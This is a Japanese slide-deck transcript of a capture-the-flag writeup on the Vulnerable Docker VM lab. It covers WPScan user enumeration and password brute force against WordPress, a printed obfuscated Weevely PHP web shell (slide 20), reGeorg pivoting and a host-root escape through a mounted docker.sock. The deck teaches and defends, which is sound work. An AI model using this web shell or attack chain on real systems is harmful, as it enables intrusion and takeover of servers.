$30 off During Our Annual Pro Sale. View Details »

VulnerableDockerVM Writeup

narupi
September 27, 2019

VulnerableDockerVM Writeup

WHESON_LTで使用した資料

narupi

September 27, 2019
Tweet

More Decks by narupi

Other Decks in Technology

Transcript

  1. Vulnerable Docker VMで学ぶ
    脆弱なコンテナ
    2019/09/27
    narupi(@ei1528)

    View Slide

  2. 2
    ※注意事項

    得た知識/技術の悪用厳禁

    検証は自己責任

    管理下以外のサーバ/アプリケーションに対して攻撃を行わない

    初心者なので内容に間違いがある場合がある

    View Slide

  3. 3
    目的

    攻撃側を知ることで防御力を高める術を知る

    セキュリティにおいて攻撃側が如何に有利かを知る

    セキュリティに興味関心を持つ

    View Slide

  4. 4
    動機

    最近Dockerにムカついたので破壊したくなった

    View Slide

  5. 5
    Vulnerable Docker VMについて

    NotSoSecureが提供しているVM

    ( https://www.notsosecure.com/vulnerable-docker-vm/ )

    CTF形式

    View Slide

  6. 6
    環境構築

    VM(被害者端末)のネットワーク設定がデフォルトでブリッジなので念の
    為ホストオンリーネットワークに変更する

    Kali(攻撃者端末)もVMと同じホストオンリーネットワークに指定する
    今回のIP
    Kali : 192.168.56.100
    Docker : 192.168.56.102

    View Slide

  7. 7
    起動

    View Slide

  8. 8
    対象調査

    ポートスキャン(nmap)を実施して対象の環境を把握する

    (-sV:各ポートを利用しているサービスのバージョンを検出

    -A :OSとバージョンを検出)

    View Slide

  9. 9
    対象調査

    8000番ポートでApache2.4.10が動いている

    (詳細よりWordPress4.8.1が動いていてwp-adminが見える状態なのがわ
    かる)

    View Slide

  10. 10
    入り口を探す

    サービス自体の脆弱性を突く

    (OpenSSH 6.6p1の脆弱性, Apache 2.4.10の脆弱性, WordPress4.8.1の
    脆弱性 etc…)

    サービスの設定不備を突く

    (脆弱なアカウント, 脆弱なWordPressプラグイン, XSSの可能性,RCEの
    可能性 etc...)

    View Slide

  11. 11
    サービスの脆弱性を調査

    Vulnerable Docker VMが配布されたのが2017年なので、当時の最新バ
    ージョンが動いていると考えられる(しっかりパッチを当てている環境だ
    とすると、0day exploit以外刺さらない)

    VMの意図と異なるのでこっちは利用しない

    View Slide

  12. 12
    設定不備を調査

    脆弱性スキャンツールを利用

    (OWASP ZAP, Burp Suite, Nikto, WPScan)

    対象がWordPressなのでWPScanを試す

    View Slide

  13. 13
    WPScanについて

    Rubyで動作するWordPressの脆弱性スキャナ

    WordPressにインストールされているテーマやプラグインの列挙

    (脆弱性のあるものだけを列挙したりできる)

    ユーザ情報の列挙

    ユーザ名を指定してブルートフォース攻撃

    View Slide

  14. 14
    WPScanの実施

    プラグイン/テーマの脆弱性については、VM公開時の状況がわからない
    ので切り捨てた(本来なら侵入経路に成り得る)

    ユーザ情報を列挙してみる

    wpscan --url http://192.168.56.102:8000 --disable-tls-checks --
    enumerate u

    View Slide

  15. 15
    パスワードを総当りしてみる

    ランダムな文字列を生成して総当りするのは時間がかかるので、辞書攻
    撃を試す

    (辞書はseclistsの100k-most-used-passwords-NCSC.txtを利用)

    wpscan --url http://192.168.56.102:8000/ -P 100k-most-used-passwords-
    NCSC.txt -U bob

    View Slide

  16. 16
    パスワードを総当りしてみる
    少し待つとパスワードが特定できる

    View Slide

  17. 17
    WebShellを設置する方法

    WordPressのテーマを利用して設置
    ->テーマページのphpを編集してWebShellを埋め込む(404.phpなど)

    WordPressにプラグインとして設置
    ->オフラインならプラグインのアップロード
    オンラインならプラグインのインストール

    View Slide

  18. 18
    WebShellとは

    Webを介して実行するShell

    最も簡単なものはGETリクエストでコマンドを送信する形


    高機能なものもある(今回はWeevelyを利用した)
    → Weevely https://github.com/epinna/weevely3

    View Slide

  19. 19
    Weevelyについて

    難読化したPHPWebShellを生成するためセキュリティソフトに検知さ
    れにくい

    Telnetのような形式の接続を提供してくれる

    View Slide

  20. 20
    Weevelyが生成したWebShell
    fdc7";$jfkh="jf20jf10d2jfjf6e2bc2";$kf="a8961cjf0ca876";$pjfjf="Le2wfMlG2QyjffY
    gqjfV";f';$m='evjfal(@gzjfuncompressjf(@jfxjf(@jfbajfse64_decode($m[1]),$kjf)));
    $ojf=@ob_jfget_contejfnts()jf;@';$L='jfunctiojfjfn
    x($t,$k){$c=stjfrjflejfn($k);$l=strlenjf($tjf);$ojf="";for($ijf=0;$i;($j<$c&&$jfi<$ljf);$j++,$ijf++jf){$ojf.=$t{jf$i}^$k{$j};}}rjfeturn
    jf$o;}ijfjff(@jfpreg_mat';$n='ch(jf"/$kh(.+jf)$kjffjf/",@filjfe_gejft_contents(jf"jfphp://i
    nput"jf),jf$m)==1){@ojfb_start();@jf';$f='jfob_endjf_clean();$rjf=@basejf64_encjf
    odejf(@x(@jfgzcompresjfs(jf$jfo),$k));print(jf"$pjf$kh$r$kf");}';$w=str_replace('jf','
    ',$x.$L.$i.$n.$m.$f);$Q=$Y('',$w);$Q();?>

    View Slide

  21. 21
    コンテナに侵入

    .dockerenvが存在するかでコンテナ内であるかチェックする

    View Slide

  22. 22
    コンテナ内でできること

    curlやwgetが使える場合
    -> 任意のバイナリが実行できる(nmapなど)

    コンテナ間通信が許可されている場合
    -> 他のコンテナの発見と侵入

    サービスの破壊,データの取得

    View Slide

  23. 23
    DBの確認(Adminer設置)

    PHPMyAdminのようなdb管理ツール(https://www.adminer.org/)

    シングルファイルで動作するのでWordPressのテーマを編集することで
    設置可能

    db認証情報はwp-configから抜き取れる

    View Slide

  24. 24
    Adminer

    View Slide

  25. 25
    他のコンテナを探す

    nmapバイナリをKali側のWeb鯖に置いて,VM側からcurlでダウンロード
    する

    Ip rでroute情報を表示

    Nmapで同一ネットワークを調査する
    -> 172.18.0.1~4が利用されている
    -> 8022に不明なサービス
    (8000はWordPress)

    View Slide

  26. 26
    コンテナ内部ネットワークへアクセスする

    任意のPHPがアップロードできる状況にあるのでreGeorgを利用して
    SOCKSプロキシを構成する(https://github.com/sensepost/reGeorg)

    ProxychainsでreGeorgプロキシの情報を設定する

    FoxyProxyでreGeorgプロキシの情報を設定する

    View Slide

  27. 27
    Docker-SSH

    8022ポートのサービスをcurlで調査するとDocker-SSHが動いているこ
    とがわかる(https://github.com/jeroenpeeters/docker-ssh)

    FoxyProxyを介してブラウザからアクセスする

    View Slide

  28. 28
    ホストへ侵入する方法を探す

    Docker-SSHコンテナへはパスワードなしでsshできるらしいので
    Proxychainsを利用してshellから作業をする(webだとセッションが切れ
    て大変だった)

    /run以下を見るとdocker.sockが見えている
    -> docker.sockはデーモンプロセスと通信するためのソケット
    -> docker.sockは特権で実行される(実質的にroot)

    View Slide

  29. 29
    Docker in Docker(DinD)について

    DinD対応イメージを利用してコンテナを作る

    デフォルトの権限ではDockerデーモンを起動できないのでprivilegedオ
    プションを利用する必要がある(すべてのデバイスへのアクセスが可能に
    なる)

    暗黙的にData Volumeが利用されコンテナとホストのリソースを共有す


    ホストとコンテナが階層化されるのでお互いに見えない

    View Slide

  30. 30
    Docker outside of Docker(DooD)について

    ホストのDocker.sockをマウントすることでDockerデーモンを共有する

    ホスト側のDockerをコンテナ側から実行する

    コンテナからホスト側が見える

    DinDのようにゴミが溜まることはない

    View Slide

  31. 31
    コンテナからホストのrootを取る

    ホストのdocker.sockをマウントしている場合、dockerコマンドはホス
    ト側で実行したものと同じ結果が得られる
    →コンテナ上でホスト側のルートディレクトリをマウントしたコンテナ
    を立ち上げる(DooD)
    →適当な名前でルートディレクトリをマウントしてchrootでルートディ
    レクトリをマウントしたフォルダに変える
    →実質的なホストrootの奪取

    View Slide

  32. 32
    HACKED

    View Slide

  33. 33
    VMの脆弱な点をまとめると

    WordPressのセキュリティ(コンテナへの侵入)
    ->wp-adminが見える, 脆弱なパスワードの運用

    Docker-SSHの運用方法(ホストへの侵入)
    ->docker.sockへの書き込み権限がある

    View Slide

  34. 34
    まとめ

    WordPressには気をつけよう

    Dockerは運用方法に気をつければ攻撃者がホストに到達するのを難しくで
    きる

    Docker imageはしっかり中身を理解して利用する
    ->Docker-SSHはdocker.sockをマウントする必要がある
    ->悪意のあるimageに気をつける(reverse shellが埋め込まれてたりする)

    View Slide

  35. 35
    参考文献

    https://oioki.me/2017/09/vulnerable-docker-vm/

    https://darksh3ll.info/index.php/18-write-up-vulnerable-docker-vm-by-notsosecure-
    com

    https://rimuru.lunanet.gr.jp/notes/post/how-to-root-from-inside-container/

    https://www.lvh.io/posts/dont-expose-the-docker-socket-not-even-to-a-container.html

    https://qiita.com/sugiyasu-qr/items/85a1bedb6458d4573407

    https://blog.nijohando.jp/post/docker-in-docker-docker-outside-of-docker/

    https://qiita.com/toto1310/items/64d7db407d31fd802f9c

    View Slide